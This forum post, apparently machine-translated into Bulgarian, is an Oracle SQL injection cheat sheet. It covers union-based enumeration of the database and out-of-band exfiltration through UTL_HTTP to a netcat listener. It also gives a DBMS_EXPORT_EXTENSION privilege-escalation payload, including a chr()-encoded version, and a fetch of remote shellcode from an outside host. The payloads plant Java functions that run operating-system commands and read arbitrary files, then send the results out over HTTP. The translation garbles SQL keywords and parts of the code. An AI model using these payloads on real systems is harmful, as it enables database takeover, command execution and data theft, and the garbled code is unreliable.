Този пост беше последно редактиран от test на 2015-1-24 13:01
Коментар: -- Изпълнението на множество изречения не се поддържа, а федеративните заявки се поддържат Имената на бази данни, имената на таблиците и колоните са всички с главна буква.
Дължина(поле) ascii(substr(поле, N, 1))
и (изберете count(*) от dual)>0 -- Определи дали е оракул или не
Ред по n--
и 1=2 обединение select null, null,.....,null от dual-- заменете null с N или 'N'
и 1=2 Union Select null, (SQL оператор) ,.....,null от dual -- промяна на (sql оператор) при 'N'
и (select count(*) от all_objects, където object_name='UTL_HTTP')>0 -- Определи дали UTL_HTTP се поддържа (IP адресът е известен)
и UTL_HTTP.request('http://LocalIP:port'|| (SQL изявление)) =1-- Дистанционно изпращане на съобщения към локално, локално слушане nc -vv -l -p 1234
SQL оператори Изберете банер от sys.v_$version, където rownum=1 за заявка към версията на оракула изберете член от v$logfile, където rownum=1 Направете заявка към пътя на лог файла (Windows или Linux) изберете utl_inaddr.get_host_address от dual, за да направите заявка към IP адреса на слушането на базата данни Изберете instance_name от v$instance, за да направите заявка към sid изберете име от v$database Запитайте текущото име на базата данни Изберете sys_context ('userenv','current_user') от потребителите на базата данни с двойна заявка изберете * от session_roles, където rownum=1 за запитване на текущите потребителски права изберете * от session_roles, където rownum=1 [и роля<>'първо име на разрешение']
изберете table_name от user_tables където rownum=1 Първият сегмент от таблицата на текущата база данни изберете table_name||','|| tablespace_name от user_tables, където rownum=1 Първи сегмент от таблицата, база данни (за проверка може да не е v$database) изберете table_name от user_tables, където rownum=1 и table_name<>'сегмент от първата таблица' Вторият сегмент от таблицата на текущата база данни
изберете column_name от user_tab_columns, където rownum=1 и table_name='Сегмент от таблицата' Първото поле, съответстващо на името на таблицата изберете column_name от user_tab_columns, където rownum=1 и table_name='Сегмент от таблицата' и column_name<>'Първо поле' Второто поле, съответстващо на името на таблицата
Изберете поле от сегмент от таблицата, където rownum=1 нарушава съдържанието на първия ред изберете поле от сегмент от таблицата, където rownum=1 и поле <> 'съдържание на първия ред' разкрива съдържанието на втория ред
Крос-библиотечна дейност Изберете собственик от all_tables, където rownum=1 прави заявка за първото име на база данни изберете owner от all_tables, където rownum=1 и owner<> "Първо име на базата данни", за да направите заявка към второто име на базата данни
изберете table_name от all_tables, където rownum=1 и owner='име на базата данни' Запитайте първото име на таблицата на съответната база данни Изберете table_name от all_tables, където rownum=1 и owner='име на база данни' и table_name<>'име на първа таблица', за да се направи заявка към второто име на таблицата на съответната база данни
изберете column_name от all_tab_columns, където rownum=1 и owner='име на базата данни' и table_name='сегмент на таблицата' Първото поле, съответстващо на името на таблицата изберете column_name от all_tab_columns, където rownum=1 и owner='име на база данни' и table_name='сегмент от таблица' и column_name<>'първо поле' Второто поле, съответстващо на името на таблицата
Изберете поле от базата данни. сегмент от таблицата, където rownum=1 нарушава съдържанието на първия ред Изберете поле от базата данни. Сегментът на таблицата, където rownum=1 и полето <> 'First Line Content', нарушава съдържанието на втория ред
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); мулти-оператор END; --','SYS',0,'1',0)--
Ако 'е escaped, се използва chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Мулти-оператор || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Ако няколко изречения са твърде дълги, можете да запишете изявлението във файла на уебсайта и да използвате utl_http.request, за да го извлечете.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Създаване на JAVA пакет SecTest runCMD се използва за изпълнение на системни команди и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНЕТЕ НЕЗАБАВНО "ОБЯВЕТЕ ПРАГМА AUTONOMOUS_TRANSACTION; ЗАПОЧНИ ИЗПЪЛНЕНИЕ НА НЕЗАБАВНО'Създаване или замяна и компилиране на java изходен код, наречен "SecTest" като импорт java.io.*; public class SecTest extend Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine()))!=null) str+=stemp+"\n"; myReader.close(); възвръщаема сила; }catch(Изключение e){return e.toString(); }}}''''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--
readFile се използва за четене на файла и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНЕТЕ НЕЗАБАВНО "ОБЯВЕТЕ ПРАГМА AUTONOMOUS_TRANSACTION; ЗАПОЧНИ ИЗПЪЛНЕНИЕ НА НЕЗАБАВНО'Създаване или замяна и компилиране на java изходен код, наречен "SecTest" като импорт java.io.*; public class SecTest разширява Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine()))!=null) str+=stemp+"\n"; myReader.close(); възвръщаема сила; }catch(Изключение e){return e.toString(); }}}''''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--
Дайте Java разрешения и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНЕТЕ ИЗПЪЛНЕНИЕ НЕЗАБАВНО '''започнете dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ВСИЧКИ ФАЙЛОВЕ>>'''''''',''''''''екзекуция''''''''); край; ''''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--
Създай функция SecRunCMD функция и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНИ ИЗПЪЛНЕНИЕ НЕЗАБАВНО '''' създаване или замяна на функция SecRunCMD(p_cmd in varchar2) върни varchar2 като език java име''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--
Функция SecReadFile и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНЕТЕ ИЗПЪЛНЕНИЕ НЕЗАБАВНО '''create or replace функция SecReadFile(име на файл в varchar2) return varchar2 като език java име''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--
Дайте разрешение за изпълнение на публичната функция SecRunCMD получава разрешения и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНЕТЕ НЕЗАБАВНО ИЗПЪЛНЕНИЕ НА "ГРАНТ НА ВСИЧКО В SecRunCMD за обществеността"; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--
SecReadFile и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНЕТЕ НЕЗАБАВНО ИЗПЪЛНЕНИЕ '''предоставяне на всичко в SecReadFile на обществеността'''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)--
Открива дали функцията е създадена успешно и (изберете count(*) от all_objects, където object_name='SECRUNCMD')>0-- и (select count(*) от all_objects, където object_name='SECREADFILE')>0--
Изпълни командата и '1'<>(Select Sys. SecRunCMD ('Команда за изпълнение') от dual)-- и '1'<>(Select Sys. SecReadFile('физически адрес на файла') от dual)-- или и 1=2 Обединен селективен нулев,...,системен систем. SecRunCMD('изпълнение на команда'),...,null от dual-- и 1=2 Обединен селективен нулев,...,системен систем. SecReadFile('физически адрес на файла'),...,null от dual-- или и '1'<>(изберете UTL_HTTP.request('http://LocalIP:port'|| ЗАМЕНИТЕ(REPLACE(SYS. SecRunCMD('Execute Command'),','' '),'\n','')) от dual)-- и '1'<>(изберете UTL_HTTP.request('http://LocalIP:port'|| ЗАМЕНИТЕ(REPLACE(SYS. SecReadFile('File Physical Address'),',','','\n',' ')) от dual)--
Функция за изтриване и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНЕТЕ ИЗПЪЛНЕНИЕ НА НЕЗАБАВНО '''функция за пускане SecRunCMD'; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)-- и '1'<>'a'|| (изберете SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('ФУ','БАР','DBMS_OUTPUT". PUT(:P 1); ИЗПЪЛНИ НЕЗАБАВНО "ОБЯВЯВАНЕ НА ПРАГМА AUTONOMOUS_TRANSACTION"; ЗАПОЧНЕТЕ ИЗПЪЛНЕНИЕ НА НЕЗАБАВНО '''функция за пускане SecReadFile''''; КРАЙ; ''; КРАЙ; --','SYS',0,'1',0) от dual)-- |